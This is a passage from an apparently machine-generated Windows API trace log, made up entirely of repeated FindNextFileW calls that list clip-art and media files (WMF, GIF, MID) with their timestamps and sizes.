ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0244.484] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0244.484] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0244.586] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0244.586] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0244.586] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0244.586] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0244.587] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0244.587] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0244.587] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0244.587] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0244.587] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0244.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0244.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0244.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0244.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0244.588] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0244.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0244.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0244.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0244.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0244.589] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0244.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0244.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0244.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0244.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0244.592] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0244.743] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0244.744] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: 